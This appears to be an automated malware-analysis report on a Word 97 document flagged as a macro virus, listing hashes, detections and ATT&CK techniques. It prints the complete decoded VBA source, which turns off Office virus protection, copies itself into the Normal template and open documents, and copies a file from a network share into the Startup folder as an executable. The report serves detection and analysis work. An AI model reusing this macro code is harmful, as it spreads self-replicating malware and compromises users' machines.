Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8ff4d039e5507bd7…

MALICIOUS

Office (OLE)

27.0 KB Created: 2001-08-26 08:42:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 30c56ee1a76dc8c923b74e0437531d61 SHA-1: 2629ada1db94af5c1a2c24e78a7203d74611e793 SHA-256: 8ff4d039e5507bd768ea4b855173b471a7cca8bf2144c57efbac66f47e906d25
196 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains legacy WordBasic and VBA macros, including AutoOpen and Auto_Close, indicating a macro-based infection attempt. The AutoOpen macro attempts to copy a file from '\savu\gabi\micro.jpg' to 'c:\windows\start menu\programs\startup\qbasic.exe', likely to establish persistence. The presence of legacy macro virus markers and ClamAV detection further supports its malicious nature.

Heuristics 6

  • ClamAV: Doc.Trojan.Marker-41 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-41
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
            nt.CodeModule.ReplaceLine 1, "Sub AutoClose()"
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1571 bytes
SHA-256: a05216b0a9f26cb0b537158fd413f6e5d3a3426ffe40d0150ab68f6a3b23db23
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
'For Normal Template
    On Error GoTo out
    Options.VirusProtection = False
    Options.ConfirmConversions = False
    Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
    Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
    DocInfect = ad.CodeModule.Find("'Backdoor", 1, 1, 10000, 10000)
    NormalTemplateInfect = nt.CodeModule.Find("'Backdoor", 1, 1, 10000, 10000)
    If False = DocInfect Then
        a = ad.CodeModule.DeleteLines(1, ad.CodeModule.CountOfLines)
        ad.CodeModule.AddFromString (nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines))
        ad.CodeModule.ReplaceLine 1, "Sub AutoOpen()"
        ad.CodeModule.ReplaceLine (ad.CodeModule.CountOfLines - 3), "Sub ViewVBCode()"
        ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
    End If
    If False = NormalTemplateInfect Then
        a = nt.CodeModule.DeleteLines(1, nt.CodeModule.CountOfLines)
        nt.CodeModule.AddFromString (ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines))
        nt.CodeModule.ReplaceLine 1, "Sub AutoClose()"
        nt.CodeModule.ReplaceLine (nt.CodeModule.CountOfLines - 3), "Sub ToolsMacro()"
    End If
    FileCopy "\\savu\gabi\micro.jpg", "c:\windows\start menu\programs\startup\qbasic.exe"
out:
End Sub
Sub ViewVBCode()
'
End Sub
'Backdoor